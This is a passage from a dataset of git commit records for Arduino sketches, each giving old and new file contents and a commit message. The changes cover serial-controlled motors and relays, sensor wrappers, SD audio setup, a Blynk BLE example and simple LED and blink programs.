&qaz);\n liberty.invocable(\"times\", ×);\n liberty.invocable(\"start\", &nstart);\n liberty.invocable(\"stop\", &nstop);\n liberty.begin();\n}\nvoid loop() {\n liberty.update();\n if (ns) {\n unsigned long x = millis();\n if (x - ln > 200) {\n ln = x;\n nc++;\n liberty.notify(\"testN1\", nc); \n }\n } \n}\nint foo() {\n return bs[0];\n}\nint bar() {\n return 42;\n}\nint qaz(int x) {\n return x * 4;\n}\nint times(int x, int y) {\n return x * y;\n}\n\nint nstart() {\n ns = true;\n nc = 0;\n ln = millis();\n}\n\nint nstop() {\n ns = false;\n return nc;\n}","subject":"Fix bug in sram size","message":"Fix bug in sram size\n","lang":"Arduino","license":"apache-2.0","repos":"WASdev\/sample.arduino,WASdev\/sample.arduino,WASdev\/sample.arduino"} {"commit":"41729b5096e9c27eb48b916b547dc373e6bccdec","old_file":"usbvibration\/usbvibration.ino","new_file":"usbvibration\/usbvibration.ino","old_contents":"\/\/ https:\/\/github.com\/thomasfredericks\/Metro-Arduino-Wiring\n#include \n\nconst int MOTORPIN = 2;\n\nMetro blink = Metro(400);\nbool isVibrationOn = false;\nbool isMotorOn = false;\nuint32_t now;\n\nvoid onMotor(void)\n{\n digitalWrite(MOTORPIN, HIGH);\n isMotorOn = true;\n}\n\nvoid offMotor(void)\n{\n digitalWrite(MOTORPIN, LOW);\n isMotorOn = false;\n}\n\nvoid beginVibration(void)\n{\n blink.reset();\n isVibrationOn = true;\n}\n\nvoid endVibration(void)\n{\n offMotor();\n isVibrationOn = false;\n}\n\nvoid vibrationLoop(void)\n{\n if (!isVibrationOn) {\n return;\n }\n if (blink.check()) {\n if (isMotorOn) {\n offMotor();\n } else {\n onMotor();\n }\n }\n}\n\nvoid parseMessage(char letter)\n{\n switch (letter) {\n case 'v':\n beginVibration();\n break;\n case 'V':\n endVibration();\n break;\n default:\n break;\n }\n}\n\nvoid setup()\n{\n Serial.begin(115200);\n Mouse.begin();\n pinMode(MOTORPIN, OUTPUT);\n}\n\nstatic void mouseLoop()\n{\n \/\/ move mouse to avoid screen saver\n static uint32_t mprevms = 0;\n const uint32_t PCLOCKMS = 540000; \/\/ 9 [min]\n if (now - mprevms > PCLOCKMS) {\n mprevms = now;\n Mouse.move(1, 0, 0);\n \/\/Serial.write(\"M\");\n }\n}\n\nvoid loop()\n{\n now = millis();\n vibrationLoop();\n mouseLoop();\n while (Serial.available()) {\n char letter = Serial.read();\n parseMessage(letter);\n }\n}\n","new_contents":"\/\/ https:\/\/www.pjrc.com\/teensy\/td_libs_TimerOne.html\n#include \n\nconst int MOTORPIN = 5;\n\nvoid parseMessage(int letter)\n{\n switch (letter) {\n case 'v':\n Timer3.pwm(MOTORPIN, 512);\n break;\n case 'V':\n Timer3.pwm(MOTORPIN, 0);\n break;\n default:\n break;\n }\n}\n\nvoid setup()\n{\n Serial.begin(115200);\n Mouse.begin();\n Timer3.initialize(400000);\n}\n\nvoid loop()\n{\n while (Serial.available()) {\n char letter = Serial.read();\n parseMessage(letter);\n }\n}\n","subject":"Use TimerThree library to blink motor","message":"Use TimerThree library to blink motor\n","lang":"Arduino","license":"mit","repos":"deton\/LyncRingNotify"} {"commit":"13b92e9b31d1042c5edaf88e7382074c897745eb","old_file":"src\/arduino_lights_controller\/arduino_lights_controller.ino","new_file":"src\/arduino_lights_controller\/arduino_lights_controller.ino","old_contents":"int incomingByte = 0; \/\/ for incoming serial data\nint relay1 = 4;\nint relay2 = 5;\nboolean state1 = false;\nboolean state2 = false;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(led1, OUTPUT);\n pinMode(led2, OUTPUT);\n}\n\nvoid loop() {\n if (Serial.available() > 0) {\n incomingByte = Serial.read();\n if (incomingByte == '1') {\n Serial.println(\"Toggling light 1\");\n if (state1 == false) {\n state1 = true;\n } else {\n state1 = false;\n }\n digitalWrite(led1, state1);\n } else if (incomingByte == '2') {\n Serial.println(\"Toggling light 2\");\n if (state2 == false){\n state2 = true;\n } else {\n state2 = false;\n }\n digitalWrite(led2, state2);\n }\n }\n}\n \n","new_contents":"int incomingByte = 0; \/\/ for incoming serial data\nint relay1 = 4;\nint relay2 = 5;\nboolean state1 = false;\nboolean state2 = false;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(relay1, OUTPUT);\n pinMode(relay2, OUTPUT);\n}\n\nvoid loop() {\n if (Serial.available() > 0) {\n incomingByte = Serial.read();\n if (incomingByte == '1') {\n Serial.println(\"Toggling light 1\");\n if (state1 == false) {\n state1 = true;\n } else {\n state1 = false;\n }\n digitalWrite(relay1, state1);\n } else if (incomingByte == '2') {\n Serial.println(\"Toggling light 2\");\n if (state2 == false){\n state2 = true;\n } else {\n state2 = false;\n }\n digitalWrite(relay2, state2);\n }\n }\n}\n \n","subject":"Fix variable name bug in Arduino code","message":"Fix variable name bug in Arduino code\n","lang":"Arduino","license":"mit","repos":"VoidingWarranties\/Myo-Home"} {"commit":"aed4e0adbe33f5cc2c2f9a107e0b9e602a9bd923","old_file":"water_heater_monitor\/thermometer.ino","new_file":"water_heater_monitor\/thermometer.ino","old_contents":"\/**\n * Wrapper for a thermometer.\n *\n * In this case it's a BMP085 barometric sensor, because that's what I had laying around.\n *\/\n\n#include \n#include \n#include \n\nBMP085 barometer;\nboolean hasThermometer;\n\nboolean initThermometer () {\n Serial.print(F(\"Setting up BMP085 for temperature...\"));\n\n Wire.begin();\n barometer.initialize();\n\n if (barometer.testConnection()) {\n \/\/ request temperature\n barometer.setControl(BMP085_MODE_TEMPERATURE);\n\n \/\/ wait appropriate time for conversion (4.5ms delay)\n int32_t lastMicros = micros();\n while (micros() - lastMicros < barometer.getMeasureDelayMicroseconds());\n\n Serial.println(F(\" done.\"));\n hasThermometer = true;\n } else {\n Serial.println(F(\" error.\"));\n hasThermometer = false;\n }\n\n return hasThermometer;\n}\n\nfloat getTemperature () {\n return (hasThermometer) ? barometer.getTemperatureF() : 0.0;\n}\n","new_contents":"\/**\n * Wrapper for a thermometer.\n *\n * In this case it's a BMP085 barometric sensor, because that's what I had laying around.\n *\/\n\n#include \n#include \n\nAdafruit_BMP085 barometer;\nboolean hasThermometer;\n\nboolean initThermometer () {\n Serial.print(F(\"Setting up BMP085 for temperature...\"));\n\n if (barometer.begin()) {\n Serial.println(F(\" done.\"));\n hasThermometer = true;\n } else {\n Serial.println(F(\" error.\"));\n hasThermometer = false;\n }\n\n return hasThermometer;\n}\n\nfloat getTemperature () {\n return (hasThermometer) ? barometer.readTemperature() * 9 \/ 5 + 32 : 0.0;\n}\n","subject":"Switch to Adafruit's BPM085 library.","message":"Switch to Adafruit's BPM085 library.\n\nLighter code and saves about 10 bytes.\n","lang":"Arduino","license":"isc","repos":"lectroidmarc\/water-heater-monitor"} {"commit":"be7640530a68bda10148c90e86ce2b904fdc6b4a","old_file":"EmotionalClothing.ino","new_file":"EmotionalClothing.ino","old_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","new_contents":"#include \n#include \n\n\nSdReader card; \/\/ This object holds the information for the card\nFatVolume vol; \/\/ This holds the information for the partition on the card\nFatReader root; \/\/ This holds the information for the volumes root directory\nWaveHC wave; \/\/ This is the only wave (audio) object, since we will only play one at a time\n\nvoid setupSdReader(SdReader &card) {\n if (!card.init()) Serial.println(\"Card init failed\");\n card.partialBlockRead(true); \/\/ Optimization. Disable if having issues\n}\n\nvoid setupFatVolume(FatVolume &vol) {\n uint8_t slot;\n \/\/ There are 5 slots to look at.\n for (slot = 0; slot < 5; slot++)\n if (vol.init(card, slot)) break;\n if (slot == 5) Serial.println(\"No valid FAT partition\");\n}\n\nvoid setupFatReader(FatReader &root) {\n if (!root.openRoot(vol)) Serial.println(\"Can't open root dir\");\n}\n\nvoid setup() {\n Serial.begin(9600);\n setupSdReader(card);\n setupFatVolume(vol);\n setupFatReader(root);\n}\n\nvoid loop() {\n\n}\n","subject":"Implement initial setup for Wave Shield","message":"Implement initial setup for Wave Shield\n","lang":"Arduino","license":"mit","repos":"IgorGee\/Emotional-Clothing"} {"commit":"abf302309c4e9a459e341f68da59b7581061b76c","old_file":"examples\/Boards_Bluetooth\/ESP32_BLE\/ESP32_BLE.ino","new_file":"examples\/Boards_Bluetooth\/ESP32_BLE\/ESP32_BLE.ino","old_contents":"\/*************************************************************\n Download latest Blynk library here:\n https:\/\/github.com\/blynkkk\/blynk-library\/releases\/latest\n\n Blynk is a platform with iOS and Android apps to control\n Arduino, Raspberry Pi and the likes over the Internet.\n You can easily build graphic interfaces for all your\n projects by simply dragging and dropping widgets.\n\n Downloads, docs, tutorials: http:\/\/www.blynk.cc\n Sketch generator: http:\/\/examples.blynk.cc\n Blynk community: http:\/\/community.blynk.cc\n Social networks: http:\/\/www.fb.com\/blynkapp\n http:\/\/twitter.com\/blynk_app\n\n Blynk library is licensed under MIT license\n This example code is in public domain.\n\n *************************************************************\n This example shows how to use ESP32 BLE\n to connect your project to Blynk.\n\n Warning: Bluetooth support is in beta!\n *************************************************************\/\n\n\/* Comment this out to disable prints and save space *\/\n#define BLYNK_PRINT Serial\n\n#define BLYNK_USE_DIRECT_CONNECT\n\n#include \n#include \n#include \n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nvoid setup()\n{\n \/\/ Debug console\n Serial.begin(9600);\n\n Serial.println(\"Waiting for connections...\");\n\n Blynk.begin(auth);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","new_contents":"\/*************************************************************\n Download latest Blynk library here:\n https:\/\/github.com\/blynkkk\/blynk-library\/releases\/latest\n\n Blynk is a platform with iOS and Android apps to control\n Arduino, Raspberry Pi and the likes over the Internet.\n You can easily build graphic interfaces for all your\n projects by simply dragging and dropping widgets.\n\n Downloads, docs, tutorials: http:\/\/www.blynk.cc\n Sketch generator: http:\/\/examples.blynk.cc\n Blynk community: http:\/\/community.blynk.cc\n Social networks: http:\/\/www.fb.com\/blynkapp\n http:\/\/twitter.com\/blynk_app\n\n Blynk library is licensed under MIT license\n This example code is in public domain.\n\n *************************************************************\n This example shows how to use ESP32 BLE\n to connect your project to Blynk.\n\n Warning: Bluetooth support is in beta!\n *************************************************************\/\n\n\/* Comment this out to disable prints and save space *\/\n#define BLYNK_PRINT Serial\n\n#define BLYNK_USE_DIRECT_CONNECT\n\n#include \n#include \n#include \n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nvoid setup()\n{\n \/\/ Debug console\n Serial.begin(9600);\n\n Serial.println(\"Waiting for connections...\");\n\n Blynk.setDeviceName(\"Blynk\");\n\n Blynk.begin(auth);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","subject":"Add setDeviceName for ESP32 BLE","message":"Add setDeviceName for ESP32 BLE\n","lang":"Arduino","license":"mit","repos":"blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library"} {"commit":"f54ae7fff2687991cb7619c1b902bf8d5502d12d","old_file":"paperweight\/Paperweight\/Paperweight.ino","new_file":"paperweight\/Paperweight\/Paperweight.ino","old_contents":"const int PIN_DATA = 4;\nconst int PIN_LATCH = 3;\nconst int PIN_CLOCK = 2;\n\nbyte arrivalStatus = 1;\n\nvoid setup() {\n pinMode(PIN_DATA, OUTPUT);\n pinMode(PIN_CLOCK, OUTPUT);\n pinMode(PIN_LATCH, OUTPUT);\n}\n\nvoid loop() {\n digitalWrite(PIN_LATCH, LOW);\n shiftOut(PIN_DATA, PIN_CLOCK, MSBFIRST, arrivalStatus);\n digitalWrite(PIN_LATCH, HIGH);\n simulate_motion();\n}\n\n\/**\n * Pretend Update arrivalStatus as if this\n * was a bus that is getting closer to the\n * desired stop\n *\/\nvoid simulate_motion() {\n arrivalStatus <<= 1;\n if (!arrivalStatus)\n arrivalStatus = 1;\n delay(1000);\n}\n","new_contents":"const int PIN_DATA = 4;\nconst int PIN_LATCH = 3;\nconst int PIN_CLOCK = 2;\n\nvoid setup() {\n \/\/Initialize Shift register\n pinMode(PIN_DATA, OUTPUT);\n pinMode(PIN_CLOCK, OUTPUT);\n pinMode(PIN_LATCH, OUTPUT);\n\n \/\/Initialize Serial Port\n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/Wait for a single byte\n while (Serial.available() < 1);\n byte arrivalStatus = Serial.read();\n Serial.write(arrivalStatus);\n\n \/\/Update LEDs\n digitalWrite(PIN_LATCH, LOW);\n shiftOut(PIN_DATA, PIN_CLOCK, MSBFIRST, arrivalStatus);\n digitalWrite(PIN_LATCH, HIGH);\n}\n","subject":"Read data from serial port","message":"Read data from serial port\n\nread single byte from serial port, use that to update the LEDs.\n","lang":"Arduino","license":"unlicense","repos":"PiJoules\/PhillyCodeFest2016,PiJoules\/Septa-Notifier,PiJoules\/PhillyCodeFest2016,PiJoules\/PhillyCodeFest2016,PiJoules\/Septa-Notifier,PiJoules\/Septa-Notifier,PiJoules\/PhillyCodeFest2016,PiJoules\/Septa-Notifier"} {"commit":"be0832ae1be13d0d2742684367259065323414f4","old_file":"LightScale\/LightScale.ino","new_file":"LightScale\/LightScale.ino","old_contents":"const byte SCALE_VALUE[] = { 0b00000100, 0b00001100, 0b00011100, 0b00111100};\n\nint senzor = A0;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(senzor, INPUT);\n \/\/ porty 2,3,4,5 jako vystup\n DDRD |= 0b00111100;\n}\n\nvoid loop() {\n int light = analogRead(senzor);\n Serial.println(light);\n \n int scale = map(light, 400, 800, 0, 3);\n Serial.println(scale);\n \n PORTD = 0b00000000;\n PORTD |= (0b00000100 << scale);\n \/\/ PORTD |= SCALE_VALUE[scale];\n \n delay(200);\n}\n","new_contents":"const byte SCALE_VALUE[] = { 0b00000100, 0b00001100, 0b00011100, 0b00111100};\n\n\/\/ fotorezistor - A1, termistor - A0\nint senzor = A1;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(senzor, INPUT);\n \/\/ porty 2,3,4,5 jako vystup\n DDRD |= 0b00111100;\n}\n\nvoid loop() {\n int light = analogRead(senzor);\n Serial.println(light);\n \n int scale = map(light, 300, 1000, 0, 3);\n Serial.println(scale);\n \n PORTD &= !0b00111100; \/\/ nastaveni vychoziho stavu - zhasnuto\n PORTD |= (0b00000100 << scale);\n \/\/ PORTD |= SCALE_VALUE[scale];\n \n delay(200);\n}\n","subject":"Update map and bit mask","message":"Update map and bit mask\n","lang":"Arduino","license":"apache-2.0","repos":"bechynsky\/ArduinoWorkshop,bechynsky\/ArduinoWorkshop"} {"commit":"9275283d6d9853f54f45cd2ec295969374532501","old_file":"firmware\/Arduino\/Arduino.ino","new_file":"firmware\/Arduino\/Arduino.ino","old_contents":"void setup() {\n Serial.begin(9600);\n \n pinMode(2, OUTPUT);\n pinMode(3, OUTPUT);\n pinMode(4, OUTPUT);\n pinMode(5, OUTPUT);\n pinMode(6, OUTPUT);\n pinMode(7, OUTPUT);\n pinMode(8, OUTPUT);\n pinMode(9, OUTPUT);\n pinMode(10, OUTPUT);\n pinMode(11, OUTPUT);\n pinMode(12, OUTPUT);\n pinMode(13, OUTPUT);\n\n for (int x = 2; x<=13; x++){\n digitalWrite(x, HIGH);\n }\n}\n\nvoid loop() {\n char c;\n char l;\n int pin;\n int state;\n \n if (Serial.available()) {\n c = Serial.read();\n if (c == 'O') {\n pin = Serial.parseInt();\n l = Serial.read();\n state = Serial.parseInt();\n\n\n if (pin == 99) {\n for (int x = 2; x<=13; x++){\n digitalWrite(x, state);\n }\n } else {\n digitalWrite(pin, state);\n }\n Serial.println('r');\n }\n }\n}\n","new_contents":"void setup() {\n Serial.begin(9600);\n \n pinMode(2, OUTPUT);\n pinMode(3, OUTPUT);\n pinMode(4, OUTPUT);\n pinMode(5, OUTPUT);\n pinMode(6, OUTPUT);\n pinMode(7, OUTPUT);\n pinMode(8, OUTPUT);\n pinMode(9, OUTPUT);\n pinMode(10, OUTPUT);\n pinMode(11, OUTPUT);\n pinMode(12, OUTPUT);\n pinMode(13, OUTPUT);\n\n for (int x = 2; x<=13; x++){\n digitalWrite(x, LOW);\n }\n}\n\nvoid loop() {\n char c;\n char l;\n int pin;\n int state;\n \n if (Serial.available()) {\n c = Serial.read();\n if (c == 'O') {\n pin = Serial.parseInt();\n l = Serial.read();\n state = Serial.parseInt();\n\n\n if (pin == 99) {\n for (int x = 2; x<=13; x++){\n digitalWrite(x, state);\n }\n } else {\n digitalWrite(pin, state);\n }\n Serial.println('r');\n }\n }\n}\n","subject":"Change initial state of all pins to LOW for new Relay Module","message":"ENH: Change initial state of all pins to LOW for new Relay Module","lang":"Arduino","license":"bsd-3-clause","repos":"SiLab-Bonn\/basil,SiLab-Bonn\/basil,MarcoVogt\/basil"} {"commit":"94aa676a99f774fcf8be41763ffe80533a3cfee6","old_file":"tuto-samples\/arduino\/gpiotime_2_blink_wrong.ino","new_file":"tuto-samples\/arduino\/gpiotime_2_blink_wrong.ino","old_contents":"#define LED 53\nvoid setup()\n{\n pinMode(LED, OUTPUT);\n}\n\nvoid loop()\n{\n digitalWrite(LED, HIGH);\n delay(500);\n digitalWrite(LED, LOW);\n delay(500);\n}\n","new_contents":"#define LED 53\n\nvoid setup()\n{\n pinMode(LED, OUTPUT);\n}\n\nvoid loop()\n{\n digitalWrite(LED, HIGH);\n delay(500);\n digitalWrite(LED, LOW);\n delay(500);\n}\n","subject":"Add blank line for tuto sample.","message":"Add blank line for tuto sample.\n\n","lang":"Arduino","license":"lgpl-2.1","repos":"jfpoilpret\/fast-arduino-lib,jfpoilpret\/fast-arduino-lib,jfpoilpret\/fast-arduino-lib,jfpoilpret\/fast-arduino-lib"} {"commit":"67997a66053886365b458c2e9e3ed39c4a400c48","old_file":"build\/shared\/examples\/01.Basics\/BareMinimum\/BareMinimum.ino","new_file":"build\/shared\/examples\/01.Basics\/BareMinimum\/BareMinimum.ino","old_contents":"\nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","subject":"Revert \"make editor folding happy\"","message":"Revert \"make editor folding happy\"\n\nThis reverts commit e0926139fb61f7edbc38dd5bf7aaff1644e07a8f.\n","lang":"Arduino","license":"lgpl-2.1","repos":"NicoHood\/Arduino,niggor\/Arduino_cc,acosinwork\/Arduino,jomolinare\/Arduino,KlaasDeNys\/Arduino,weera00\/Arduino,ForestNymph\/Arduino_sources,raimohanska\/Arduino,koltegirish\/Arduino,HCastano\/Arduino,laylthe\/Arduino,lukeWal\/Arduino,PeterVH\/Arduino,bigjosh\/Arduino,eduardocasarin\/Arduino,superboonie\/Arduino,nkolban\/Arduino,zederson\/Arduino,Cloudino\/Arduino,tbowmo\/Arduino,NicoHood\/Arduino,vbextreme\/Arduino,ashwin713\/Arduino,chaveiro\/Arduino,tbowmo\/Arduino,byran\/Arduino,eddyst\/Arduino-SourceCode,eduardocasarin\/Arduino,laylthe\/Arduino,leftbrainstrain\/Arduino-ESP8266,jmgonzalez00449\/Arduino,garci66\/Arduino,damellis\/Arduino,jabezGit\/Arduino,garci66\/Arduino,andyvand\/Arduino-1,ektor5\/Arduino,sanyaade-iot\/Arduino-1,adafruit\/ESP8266-Arduino,spapadim\/Arduino,ikbelkirasan\/Arduino,superboonie\/Arduino,henningpohl\/Arduino,lukeWal\/Arduino,shiitakeo\/Arduino,SmartArduino\/Arduino-1,jamesrob4\/Arduino,shiitakeo\/Arduino,mateuszdw\/Arduino,ssvs111\/Arduino,Gourav2906\/Arduino,jomolinare\/Arduino,ricklon\/Arduino,mattvenn\/Arduino,eddyst\/Arduino-SourceCode,gestrem\/Arduino,gonium\/Arduino,tskurauskas\/Arduino,sanyaade-iot\/Arduino-1,HCastano\/Arduino,gonium\/Arduino,damellis\/Arduino,paulo-raca\/ESP8266-Arduino,NeuralSpaz\/Arduino,jmgonzalez00449\/Arduino,shiitakeo\/Arduino,ashwin713\/Arduino,ccoenen\/Arduino,zaiexx\/Arduino,gberl001\/Arduino,me-no-dev\/Arduino-1,ari-analytics\/Arduino,lulufei\/Arduino,acosinwork\/Arduino,nkolban\/Arduino,eduardocasarin\/Arduino,aichi\/Arduino-2,PeterVH\/Arduino,garci66\/Arduino,jaimemaretoli\/Arduino,adamkh\/Arduino,Cloudino\/Arduino,Alfredynho\/AgroSis,EmuxEvans\/Arduino,bigjosh\/Arduino,lulufei\/Arduino,Alfredynho\/AgroSis,tommyli2014\/Arduino,radut\/Arduino,ikbelkirasan\/Arduino,xxxajk\/Arduino-1,wayoda\/Arduino,zaiexx\/Arduino,tommyli2014\/Arduino,Cloudino\/Arduino,stickbreaker\/Arduino,nkolban\/Arduino,KlaasDeNys\/Arduino,PaoloP74\/Arduino,chaveiro\/Arduino,Cloudino\/Cloudino-Arduino-IDE,ari-analytics\/Arduino,ccoenen\/Arduino,ektor5\/Arduino,shannonshsu\/Arduino,fungxu\/Arduino,NeuralSpaz\/Arduino,NicoHood\/Arduino,smily77\/Arduino,cscenter\/Arduino,jaimemaretoli\/Arduino,jaehong\/Xmegaduino,eggfly\/arduino,mateuszdw\/Arduino,stevemayhew\/Arduino,wayoda\/Arduino,tbowmo\/Arduino,steamboating\/Arduino,stevemayhew\/Arduino,weera00\/Arduino,jaimemaretoli\/Arduino,ntruchsess\/Arduino-1,garci66\/Arduino,tbowmo\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,wdoganowski\/Arduino,danielchalef\/Arduino,andyvand\/Arduino-1,danielchalef\/Arduino,kidswong999\/Arduino,PeterVH\/Arduino,mangelajo\/Arduino,bsmr-arduino\/Arduino,jomolinare\/Arduino,Protoneer\/Arduino,adamkh\/Arduino,chaveiro\/Arduino,NicoHood\/Arduino,PeterVH\/Arduino,Gourav2906\/Arduino,steamboating\/Arduino,ogferreiro\/Arduino,gberl001\/Arduino,zederson\/Arduino,superboonie\/Arduino,kidswong999\/Arduino,koltegirish\/Arduino,NeuralSpaz\/Arduino,tomkrus007\/Arduino,ikbelkirasan\/Arduino,jamesrob4\/Arduino,arunkuttiyara\/Arduino,cscenter\/Arduino,adamkh\/Arduino,henningpohl\/Arduino,garci66\/Arduino,mateuszdw\/Arduino,leftbrainstrain\/Arduino-ESP8266,Chris--A\/Arduino,myrtleTree33\/Arduino,tskurauskas\/Arduino,PaoloP74\/Arduino,bsmr-arduino\/Arduino,wilhelmryan\/Arduino,jabezGit\/Arduino,leftbrainstrain\/Arduino-ESP8266,NeuralSpaz\/Arduino,majenkotech\/Arduino,ntruchsess\/Arduino-1,ntruchsess\/Arduino-1,bsmr-arduino\/Arduino,gonium\/Arduino,ektor5\/Arduino,probonopd\/Arduino,raimohanska\/Arduino,probonopd\/Arduino,mateuszdw\/Arduino,jmgonzalez00449\/Arduino,ccoenen\/Arduino,shiitakeo\/Arduino,weera00\/Arduino,paulmand3l\/Arduino,Alfredynho\/AgroSis,niggor\/Arduino_cc,Cloudino\/Arduino,henningpohl\/Arduino,probonopd\/Arduino,adafruit\/ESP8266-Arduino,nandojve\/Arduino,OpenDevice\/Arduino,ektor5\/Arduino,Gourav2906\/Arduino,myrtleTree33\/Arduino,arunkuttiyara\/Arduino,damellis\/Arduino,shiitakeo\/Arduino,lukeWal\/Arduino,ikbelkirasan\/Arduino,talhaburak\/Arduino,gberl001\/Arduino,jomolinare\/Arduino,koltegirish\/Arduino,superboonie\/Arduino,pdNor\/Arduino,zenmanenergy\/Arduino,nandojve\/Arduino,EmuxEvans\/Arduino,radut\/Arduino,wayoda\/Arduino,OpenDevice\/Arduino,Cloudino\/Cloudino-Arduino-IDE,paulo-raca\/ESP8266-Arduino,ThoughtWorksIoTGurgaon\/Arduino,acosinwork\/Arduino,jaehong\/Xmegaduino,andyvand\/Arduino-1,snargledorf\/Arduino,talhaburak\/Arduino,tomkrus007\/Arduino,eddyst\/Arduino-SourceCode,tomkrus007\/Arduino,wilhelmryan\/Arduino,Alfredynho\/AgroSis,noahchense\/Arduino-1,xxxajk\/Arduino-1,arunkuttiyara\/Arduino,eddyst\/Arduino-SourceCode,leftbrainstrain\/Arduino-ESP8266,drpjk\/Arduino,ashwin713\/Arduino,probonopd\/Arduino,HCastano\/Arduino,nkolban\/Arduino,superboonie\/Arduino,tbowmo\/Arduino,weera00\/Arduino,pdNor\/Arduino,Chris--A\/Arduino,shannonshsu\/Arduino,stickbreaker\/Arduino,chaveiro\/Arduino,tommyli2014\/Arduino,stickbreaker\/Arduino,NaSymbol\/Arduino,niggor\/Arduino_cc,tomkrus007\/Arduino,PaoloP74\/Arduino,ForestNymph\/Arduino_sources,ektor5\/Arduino,mateuszdw\/Arduino,mangelajo\/Arduino,OpenDevice\/Arduino,nkolban\/Arduino,paulmand3l\/Arduino,nkolban\/Arduino,smily77\/Arduino,adafruit\/ESP8266-Arduino,ssvs111\/Arduino,ogahara\/Arduino,zederson\/Arduino,EmuxEvans\/Arduino,lukeWal\/Arduino,gestrem\/Arduino,danielchalef\/Arduino,cscenter\/Arduino,arunkuttiyara\/Arduino,eggfly\/arduino,acosinwork\/Arduino,SmartArduino\/Arduino-1,Chris--A\/Arduino,paulo-raca\/ESP8266-Arduino,tskurauskas\/Arduino,stevemayhew\/Arduino,NeuralSpaz\/Arduino,zenmanenergy\/Arduino,NaSymbol\/Arduino,tomkrus007\/Arduino,HCastano\/Arduino,PeterVH\/Arduino,wdoganowski\/Arduino,damellis\/Arduino,andyvand\/Arduino-1,ashwin713\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,gberl001\/Arduino,zederson\/Arduino,danielchalef\/Arduino,myrtleTree33\/Arduino,stevemayhew\/Arduino,ccoenen\/Arduino,jaimemaretoli\/Arduino,weera00\/Arduino,jmgonzalez00449\/Arduino,majenkotech\/Arduino,noahchense\/Arduino-1,tommyli2014\/Arduino,raimohanska\/Arduino,smily77\/Arduino,jaehong\/Xmegaduino,me-no-dev\/Arduino-1,HCastano\/Arduino,onovy\/Arduino,jaehong\/Xmegaduino,jabezGit\/Arduino,gestrem\/Arduino,ForestNymph\/Arduino_sources,fungxu\/Arduino,ogferreiro\/Arduino,talhaburak\/Arduino,laylthe\/Arduino,stickbreaker\/Arduino,Protoneer\/Arduino,fungxu\/Arduino,ssvs111\/Arduino,vbextreme\/Arduino,gberl001\/Arduino,ricklon\/Arduino,PaoloP74\/Arduino,jmgonzalez00449\/Arduino,NaSymbol\/Arduino,ogahara\/Arduino,shiitakeo\/Arduino,gonium\/Arduino,me-no-dev\/Arduino-1,HCastano\/Arduino,PaoloP74\/Arduino,vbextreme\/Arduino,ricklon\/Arduino,tommyli2014\/Arduino,NaSymbol\/Arduino,arunkuttiyara\/Arduino,OpenDevice\/Arduino,ikbelkirasan\/Arduino,acosinwork\/Arduino,mattvenn\/Arduino,cscenter\/Arduino,bsmr-arduino\/Arduino,pdNor\/Arduino,majenkotech\/Arduino,eggfly\/arduino,eeijcea\/Arduino-1,sanyaade-iot\/Arduino-1,radut\/Arduino,niggor\/Arduino_cc,jabezGit\/Arduino,adamkh\/Arduino,lulufei\/Arduino,ari-analytics\/Arduino,Cloudino\/Cloudino-Arduino-IDE,shannonshsu\/Arduino,acosinwork\/Arduino,smily77\/Arduino,mattvenn\/Arduino,karlitxo\/Arduino,adamkh\/Arduino,tskurauskas\/Arduino,Gourav2906\/Arduino,myrtleTree33\/Arduino,KlaasDeNys\/Arduino,wilhelmryan\/Arduino,jamesrob4\/Arduino,aichi\/Arduino-2,Chris--A\/Arduino,zederson\/Arduino,KlaasDeNys\/Arduino,lulufei\/Arduino,SmartArduino\/Arduino-1,ccoenen\/Arduino,drpjk\/Arduino,mangelajo\/Arduino,eeijcea\/Arduino-1,Alfredynho\/AgroSis,Chris--A\/Arduino,NaSymbol\/Arduino,ogferreiro\/Arduino,myrtleTree33\/Arduino,shannonshsu\/Arduino,zenmanenergy\/Arduino,eduardocasarin\/Arduino,jabezGit\/Arduino,ntruchsess\/Arduino-1,wayoda\/Arduino,henningpohl\/Arduino,Protoneer\/Arduino,lukeWal\/Arduino,ikbelkirasan\/Arduino,ogferreiro\/Arduino,talhaburak\/Arduino,raimohanska\/Arduino,wdoganowski\/Arduino,ntruchsess\/Arduino-1,wilhelmryan\/Arduino,adafruit\/ESP8266-Arduino,paulmand3l\/Arduino,garci66\/Arduino,adamkh\/Arduino,niggor\/Arduino_cc,ntruchsess\/Arduino-1,byran\/Arduino,eggfly\/arduino,KlaasDeNys\/Arduino,zenmanenergy\/Arduino,onovy\/Arduino,tannewt\/Arduino,lulufei\/Arduino,danielchalef\/Arduino,pdNor\/Arduino,jomolinare\/Arduino,eduardocasarin\/Arduino,aichi\/Arduino-2,gonium\/Arduino,fungxu\/Arduino,leftbrainstrain\/Arduino-ESP8266,EmuxEvans\/Arduino,ricklon\/Arduino,ektor5\/Arduino,ricklon\/Arduino,cscenter\/Arduino,zaiexx\/Arduino,laylthe\/Arduino,ccoenen\/Arduino,karlitxo\/Arduino,xxxajk\/Arduino-1,jaehong\/Xmegaduino,stickbreaker\/Arduino,ssvs111\/Arduino,leftbrainstrain\/Arduino-ESP8266,kidswong999\/Arduino,NicoHood\/Arduino,adamkh\/Arduino,ricklon\/Arduino,arunkuttiyara\/Arduino,ikbelkirasan\/Arduino,ogahara\/Arduino,PaoloP74\/Arduino,fungxu\/Arduino,kidswong999\/Arduino,eggfly\/arduino,weera00\/Arduino,shannonshsu\/Arduino,byran\/Arduino,mattvenn\/Arduino,adafru